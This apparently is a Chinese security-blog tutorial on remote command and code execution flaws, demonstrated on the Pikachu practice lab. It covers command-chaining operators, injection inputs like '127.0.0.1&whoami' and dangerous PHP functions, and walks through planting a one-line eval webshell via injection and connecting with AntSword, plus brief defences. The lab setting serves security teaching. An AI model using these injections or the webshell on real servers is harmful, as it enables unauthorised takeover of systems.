【网络安全】-rce漏洞-pikachu

rce漏洞包含命令执行漏洞与代码执行漏洞

文章目录

前言 什么是rce漏洞?

1.rce漏洞产生原因:

2.rce的分类:

命令执行漏洞:

命令拼接符:

常用函数:

代码执行漏洞:

常用函数:

分类:

3.防御措施:

总结


前言 什么是rce漏洞?

由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。


1.rce漏洞产生原因:

在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。

2.rce的分类:

命令执行漏洞:

实例:pikachu靶场

输入:127.0.0.1

输入:恶意命令whoami查看隐私信息:

报错。

但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。

命令拼接符:

定义:把两条以上的命令拼接在一起的特殊符号。

Windows系统命令拼接符:

&:拼接符两边只要有一个为真就执行

实例:

回显本地ip地址

ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

&&:命令拼接符拼接多个命令时,遇到假的终止执行

ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;

Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

直接返回如下页面:

127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

Linux系统命令拼接符:

;:无论拼接的命令为真还是为假都按照顺序执行命令;

&:无论命令为真或者为假,都执行但不按照顺序执行;

&&:如果都为真时按照顺序执行;如果存在假的测终止执行

||:按顺序执行,遇到真的就执行且只执行一次;

常用函数:

system()函数:执行外部程序并显示输出

exec()函数:执行一个外部程序

shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出

passthru()函数:执行外部命令并显示原始输出

pentl_exec函数:在当前进程空间执行指定程序

代码执行漏洞:
常用函数:

eval(),assert()函数:把字符串作为PHP代码执行

call_user_func()函数:把第一参数作为回调函数

call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数

arry_map()函数:为数组的每个元素应用回调函数

分类:

本地代码执行漏洞:利用本地漏洞来执行恶意代码。

必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。

远程代码执行漏洞:从互联网执行恶意代码,

它允许攻击者不受限制地控制目标系统。

不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。

实例:pikachu远程代码执行命令:

rec_php文件,直接解析php代码试试?

用phpinfo();代码:

解析成功。

我们还可以进一步操作拿到webshell:

步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件

有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。

开搞:127.0.0.1 & echo "<?php @eval($_POST[cmd]); ?>" > rce1.php //码子

再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子

然后输入url验证一下:

因为码子上与,rce_eval.php路径相同。

rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php

码子路径: http://pikachu-master/vul/rce/rce1.php

用中国蚁剑连接:

步骤:右键,添加数据。

只管url地址:码子的url

连接密码:一句话木马<?php @eval($_POST[cmd]); ?>中[ ]里的cmd.

点击测试连接显示连接成功。

3.防御措施:

输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。

启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。

使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。


总结

RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。

相关推荐
腾讯TNTWeb前端团队4 小时前
helux v5 发布了,像pinia一样优雅地管理你的react状态吧
前端·javascript·react.js
范文杰7 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪7 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪7 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy8 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom9 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom9 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom9 小时前
React与Next.js:基础知识及应用场景
前端·面试·github
uhakadotcom9 小时前
Remix 框架:性能与易用性的完美结合
前端·javascript·面试
uhakadotcom9 小时前
Node.js 包管理器:npm vs pnpm
前端·javascript·面试